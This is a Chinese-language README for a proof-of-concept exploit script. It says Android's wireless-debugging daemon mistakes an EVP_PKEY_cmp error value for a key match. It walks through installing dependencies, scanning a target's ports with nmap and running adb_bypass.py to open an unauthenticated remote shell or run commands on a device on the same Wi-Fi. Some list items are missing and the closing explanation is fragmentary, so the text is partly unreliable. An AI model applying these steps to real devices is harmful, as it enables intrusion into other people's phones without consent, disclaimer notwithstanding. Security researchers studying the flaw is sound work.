免责声明: 本概念验证(PoC)严格仅供教育和经授权的安全研究目的使用。未经授权访问计算机系统是违法的。在对任何设备或网络进行测试之前,请务必确保您已获得明确许可。
Android 设备具有一项名为无线调试的功能,它允许开发者通过 Wi-Fi 连接到设备,而无需使用 USB 数据线。为确保此连接的安全性,设备使用 TLS 加密,并要求连接的计算机使用加密密钥来证明其身份。
缺陷在哪里?
当计算机发起连接时,Android 守护进程(adbd)会检查该计算机的密钥是否与任何先前已授权的密钥相匹配。它使用一个内置的数学函数(EVP_PKEY_cmp)来完成此操作,该函数返回以下三个数字之一:
1 表示:“密钥完全匹配。”0 表示:“密钥不匹配。”-1 表示:“错误:密钥是完全不同的类型(例如,将 RSA 密钥与 EC 密钥进行比较)。”该漏洞:
程序员编写了一个简单的检查:if (result) { grant_access(); }。
在编程中,1 和 -1 都被视为“真”。因此,如果攻击者故意发送一种完全不同类型的密钥(例如,发送椭圆曲线密钥而非预期的 RSA 密钥),该函数会返回 -1(一个错误)。有缺陷的代码看到 -1,便认为它表示“真”,于是仍然授予了完全访问权限。
结果: 同一 Wi-Fi 网络上的攻击者可以完全绕过身份验证,在无需原始配对密钥的情况下获得设备的远程 shell,并且用户不会看到任何批准提示。
要使此漏洞利用生效,目标 Android 设备必须满足两个条件:
此脚本需要 Python 3 和 cryptography 库,以便即时生成临时证书。
您可以使用 apt(在 Debian/Ubuntu/Kali 上)或 pip 安装所需的库:
使用 apt(Linux 推荐):
sudo apt update
sudo apt install python3-cryptography
使用 pip(跨平台):
pip3 install cryptography
与 USB 调试不同,Android 在每次设备重启或 Wi-Fi 网络变化时,都会为无线调试分配一个随机的高位端口。
如果你不知道当前端口,可以使用 nmap 轻松扫描到它。无线调试端口通常位于 30000 到 50000 之间。
运行以下命令,将 <hostname> 替换为目标设备的 IP 地址:
nmap -Pn -p T:30000-50000 <hostname>
如何阅读输出:
查找显示为 open 的端口。例如:
PORT STATE SERVICE
41234/tcp open unknown
在此示例中,41234 是您将在下一步中使用的端口。
一旦您获得了目标主机名/IP 和正确的端口,就可以运行该漏洞利用程序。
要打开一个完整的交互式远程 shell(类似于 SSH):
python3 adb_bypass.py <hostname> <port>
示例:
python3 adb_bypass.py 192.168.1.50 41234
连接后,你将进入 shell 用户提示符。按 Ctrl+C 退出。
如果你只想运行特定命令并查看输出,而不进入交互式 shell,请使用 --cmd 标志:
python3 adb_bypass.py <hostname> <port> --cmd "id"
如需查看底层网络流量和握手细节以进行调试或研究,请附加 -v 标志:
python3 adb_bypass.py <hostname> <port> -v
CNXN 和 STLS 数据包,以就 TLS 升级达成一致。cryptography 库,在内存中生成一个临时 EC P-256 私钥和一个自签名 X.509 证书。EVP_PKEY_cmp 返回 -1,if (cmp) 检查结果为真,设备便将连接标记为已授权。delayed_ack 窗口打开一个 shell: 流,从而获得未经身份验证的远程 shell。